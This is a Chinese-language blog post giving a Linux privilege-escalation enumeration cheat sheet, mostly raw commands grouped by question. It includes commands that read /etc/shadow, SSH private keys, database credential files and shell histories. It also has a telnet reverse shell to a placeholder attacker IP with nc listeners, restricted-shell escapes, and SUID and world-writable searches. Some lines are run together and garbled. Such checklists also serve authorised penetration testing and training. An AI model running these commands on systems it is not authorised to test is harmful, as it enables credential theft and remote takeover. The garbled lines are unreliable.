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系统安全

Linux权限提升

2019-04-10 13:29:52

（Linux）提权的关键是对目标主机的信息情报收集.

具体的思路如下:

收集 - 枚举，更多枚举和探测。
流程 - 对数据进行排序，分析和确定优先级。
搜索 - 了解要查找搜索的内容以及在何处查找漏洞利用代码。
适应 - 自定义漏洞利用，因此适合。并非每个漏洞利用都适用于每个系统“开箱即用”。
尝试 - 为（大量）试验和错误做好准备。

操作系统

什么是系统类型？什么版本？

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release # Debian based

cat /etc/redhat-release # Redhat based

什么是内核版本？64bit？

cat /proc/version

uname -a

uname -mrs

rpm -q kerneldmesg | grep Linux

ls /boot | grep vmlinuz-

查看环境变量？

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logoutenv

set

是否有打印机？

lpstat -a

正在运行什么服务？哪个服务具有哪个用户权限？

ps aux

ps -eftop

cat /etc/services

root运行了哪些服务？在这些易受攻击的服务中，值得仔细检查！

安装了哪些应用程序？它们是什么版本的？他们目前正在运行吗？

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

任何服务设置配置错误？是否附加了（易受攻击的）插件？

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

运行了哪些哪些job？

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

任何纯文本用户名和/或密码？

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

通信与网络

系统有哪些NIC？它是否连接到另一个网络？

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

网络配置设置？你能从这个网络中找到什么？DHCP服务器？DNS服务器？网关？

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

其他用户和主机与系统进行通信的是什么？

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:onlastw

缓存？IP和/或MAC

arp -e

route

/sbin/route -nee

数据包嗅探可能吗？

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

你能和系统互动吗？

nc -lvp 4444 # Attacker. Input (Commands)

nc -lvp 4445 # Attacker. Ouput (Results)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

端口转发可能吗？重定向并与来自其他视图的流量进行交互

注意：http：//www.boutell.com/rinetd/

注意：http：//www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

注意：http：//downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

注意：FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Portssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

隧道可能吗？远程本地发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]proxychains ifconfig

你是谁？谁登录？谁已登录？那里还有谁？谁能做什么？

who

last

cat /etc/passwd | cut -d: -f1 # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

可以找到哪些敏感文件？

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

ls -ahlR /root/

ls -ahlR /home/

是否有密码; 脚本，数据库，配置文件或日志文件？密码的默认路径和位置

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用户正在做什么？是否有明文密码？他们在编辑什么？

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到哪些用户信息？

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

可以找到私钥信息吗？

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

哪些配置文件可以写在/ etc /中？能够重新配置服务吗？

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /中可以找到什么？

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

网站上的任何设置/文件（隐藏）？有数据库信息的任何设置文件？

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

日志文件中是否有任何内容（可以帮助“本地文件包含”！）

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

如果命令有限，你会打破“监狱”外壳？

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

是否有任何未安装的文件系统？

cat /etc/fstab

使用了什么“高级Linux文件权限”？粘性，SUID和GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUIDfor i in `locate -r "bin$"`; do find $i $ -perm -4000 -o -perm -2000 $ -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

哪里可以写入和执行？一些'常见'的地方：/ tmp，/ var / tmp，/ dev / shm

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / $ -perm -o w -perm -o x $ -type d 2>/dev/null # world-writeable & executable folders